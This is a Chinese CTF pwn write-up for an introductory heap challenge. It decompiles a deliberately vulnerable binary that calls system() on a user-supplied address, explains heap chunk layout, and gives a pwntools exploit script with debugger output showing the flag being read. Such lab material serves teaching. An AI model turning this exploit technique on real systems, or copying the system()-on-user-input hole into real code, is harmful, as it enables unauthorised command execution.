1.1 堆的基本概念
虚拟机所在目录
E:\ctf\pwn-self
进入虚拟机的pwndocker环境
holyeyes@ubuntu:~$ pwd
/home/holyeyes
holyeyes@ubuntu:~$ sudo ./1run.sh
IDA分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v4; // [rsp+20h] [rbp-10h]
char *command; // [rsp+28h] [rbp-8h]
init();
puts(“Welcome to my easy heap challenge 4!”);
v4 = malloc(0x80uLL);
printf(“heap addr: %llx\n”, v4);
strcpy((char *)malloc(0x80uLL), “cat flag\n”);
puts(“Where is your flag?”);
command = (char *)read_int();
system(command);
return 0;
}
PWNgdb分析
chmod +x pwn
pwndbg> r
Starting program: /ctf/work/erjinzhi/1.1/pwn
Welcome to my easy heap challenge 4!
heap addr: 602010
Where is your flag?
原理
0 堆的位置与作用
0.1
0.2
1 chunk的概念
2 chunk的实现原理
2.1
2.2
2.3
2.4
思路分析
堆的基本概念考察,堆是连续分布的,以chunk为单位提供给用户使用
程序给出了一个chunk的地址,逆向可知该chunk的大小为0x90(0x80的data加上0x10的头部)。
随后将一个字符串复制到另一个chunk中。
strcpy(malloc(0x80), “cat flag\n”);
由于两个chunk是连续分配的,所以可知chunk2就在chunk1的后面,字符串的地址为返回的chunk1的mem地址加上0x80的chunk1 data再加一个chunk2的头部。
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pickle import TRUE
from pwn import *
import sys
context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'
DEBUG = 1
LOCAL = True
BIN ='./pwn'
HOST ='node5.buuoj.cn'
PORT =29924
def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)
def debug(bps,_s):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(p)
script += "set $_base = 0x{:x}\n".format(PIE)
for bp in bps:
script += "b *0x%x\n"%(PIE+bp)
script += _s
gdb.attach(p,gdbscript=script)
def exploit(p):
p.recvuntil("heap addr:")
heap = int(p.recvline(), 16)
p.sendlineafter("flag?\n", str(heap + 0x90))
p.interactive()
return
if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: '+ str(proc.pidof(p)[0]))
# pause
if DEBUG:
debug([],"")
exploit(p)
运行结果
tmux
ctrL+b+:set -g mouse on
root@pwn_test1604:/ctf/work/erjinzhi/1.1# python 1.py │ RSP 0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov dword ptr [rbp - 0x24], eax
[DEBUG] PLT 0x40065c puts │ RIP 0x7fa19c36b260 (__read_nocancel+7) ◂— cmp rax, -0xfff
[DEBUG] PLT 0x40065c puts │────────────────────────────────────────[ DISASM ]────────────────────────────────────────
[DEBUG] PLT 0x400670 __stack_chk_fail │ ► 0x7fa19c36b260 <__read_nocancel+7> cmp rax, -0xfff
[DEBUG] PLT 0x400680 system │ 0x7fa19c36b266 <__read_nocancel+13> jae read+73 <0x7fa19c36b299>
[DEBUG] PLT 0x400690 printf │ ↓
[DEBUG] PLT 0x4006a0 read │ 0x7fa19c36b299 <read+73> mov rcx, qword ptr [rip + 0x2ccbd8]
[DEBUG] PLT 0x4006b0 __libc_start_main │ 0x7fa19c36b2a0 <read+80> neg eax
[DEBUG] PLT 0x4006c0 malloc │ 0x7fa19c36b2a2 <read+82> mov dword ptr fs:[rcx], eax
[DEBUG] PLT 0x4006d0 setvbuf │ 0x7fa19c36b2a5 <read+85> or rax, 0xffffffffffffffff
[DEBUG] PLT 0x4006e0 atol │ 0x7fa19c36b2a9 <read+89> ret
[DEBUG] PLT 0x4006f0 __gmon_start__ │
[*] '/ctf/work/erjinzhi/1.1/pwn' │ 0x7fa19c36b2aa nop word ptr [rax + rax]
Arch: amd64-64-little │ 0x7fa19c36b2b0 <write> cmp dword ptr [rip + 0x2d2489], 0 <0x7fa19c63
RELRO: Partial RELRO │d740>
Stack: Canary found │ 0x7fa19c36b2b7 <write+7> jne write+25 <0x7fa19c36b2c9>
NX: NX enabled │ ↓
PIE: No PIE (0x400000) │ 0x7fa19c36b2c9 <write+25> sub rsp, 8
[+] Starting local process './pwn': pid 469 │────────────────────────────────────────[ STACK ]─────────────────────────────────────────
[*] PID: 469 │00:0000│ rsp 0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov dword ptr [rbp - 0x24], e
[DEBUG] Wrote gdb script to '/tmp/pwnrptYUI.gdb' │ax
file ./pwn │01:0008│ 0x7ffd509fd6e0 ◂— 0x13
handle SIGALRM ignore │02:0010│ 0x7ffd509fd6e8 —▸ 0x7fa19c639620 (_IO_2_1_stdout_) ◂— 0xfbad2887
set $_base = 0x400000 │03:0018│ rsi 0x7ffd509fd6f0 —▸ 0x400a0e ◂— push rdi /* 'Where is your flag?' */
[*] running in new terminal: /usr/bin/gdb -q "./pwn" 469 -x "/tmp/pwnrptYUI.gdb" │04:0020│ 0x7ffd509fd6f8 —▸ 0x7fa19c2e37fa (puts+362) ◂— cmp eax, -1
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./pwn" │05:0028│ 0x7ffd509fd700 ◂— 0x0
469 -x "/tmp/pwnrptYUI.gdb"'] │06:0030│ 0x7ffd509fd708 ◂— 0xbfc2dfd72a027f00
[+] Waiting for debugger: Done │07:0038│ rbp 0x7ffd509fd710 —▸ 0x7ffd509fd750 —▸ 0x400950 (__libc_csu_init) ◂— push r15
[DEBUG] Received 0x4c bytes: │──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
'Welcome to my easy heap challenge 4!\n' │ ► f 0 7fa19c36b260 __read_nocancel+7
'heap addr: 22be010\n' │ f 1 400884 read_int+45
'Where is your flag?\n' │ f 2 40092f main+124
[DEBUG] Sent 0x9 bytes: │ f 3 7fa19c294830 __libc_start_main+240
'36429984\n' │pwndbg> c
[*] Switching to interactive mode │Continuing.
[DEBUG] Received 0xf bytes: │[New process 481]
'flag{11111111}\n' │process 481 is executing new program: /bin/dash
flag{11111111} │[New process 482]
[*] Process './pwn' stopped with exit code 0 (pid 469) │process 482 is executing new program: /bin/cat
[*] Got EOF while reading in interactive │[Inferior 3 (process 482) exited normally]
$
pwndbg> parseheap
file ./pwn │addr prev size status fd
handle SIGALRM ignore │ bk
set $_base = 0x400000 │0x192c000 0x0 0x90 Used None
[*] running in new terminal: /usr/bin/gdb -q "./pwn" 624 -x "/tmp/pwnR_WTJ8.gdb" │ None
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./pwn" │0x192c090 0x0 0x90 Used None
624 -x "/tmp/pwnR_WTJ8.gdb"'] │ None
[+] Waiting for debugger: Done │pwndbg> x/20gx 0x192c000
[DEBUG] Received 0x4c bytes: │0x192c000: 0x0000000000000000 0x0000000000000091
'Welcome to my easy heap challenge 4!\n' │0x192c010: 0x0000000000000000 0x0000000000000000
'heap addr: 192c010\n' │0x192c020: 0x0000000000000000 0x0000000000000000
'Where is your flag?\n' │0x192c030: 0x0000000000000000 0x0000000000000000
[DEBUG] Sent 0x9 bytes: │0x192c040: 0x0000000000000000 0x0000000000000000
'26394784\n' │0x192c050: 0x0000000000000000 0x0000000000000000
[*] Switching to interactive mode │0x192c060: 0x0000000000000000 0x0000000000000000
$ │0x192c070: 0x0000000000000000 0x0000000000000000
│0x192c080: 0x0000000000000000 0x0000000000000000
│0x192c090: 0x0000000000000000 0x0000000000000091
│pwndbg> x/20gx 0x192c090
│0x192c090: 0x0000000000000000 0x0000000000000091
│0x192c0a0: 0x67616c6620746163 0x000000000000000a
│0x192c0b0: 0x0000000000000000 0x0000000000000000
│0x192c0c0: 0x0000000000000000 0x0000000000000000
│0x192c0d0: 0x0000000000000000 0x0000000000000000
│0x192c0e0: 0x0000000000000000 0x0000000000000000
│0x192c0f0: 0x0000000000000000 0x0000000000000000
│0x192c100: 0x0000000000000000 0x0000000000000000
│0x192c110: 0x0000000000000000 0x0000000000000000
│0x192c120: 0x0000000000000000 0x0000000000020ee1
│pwndbg>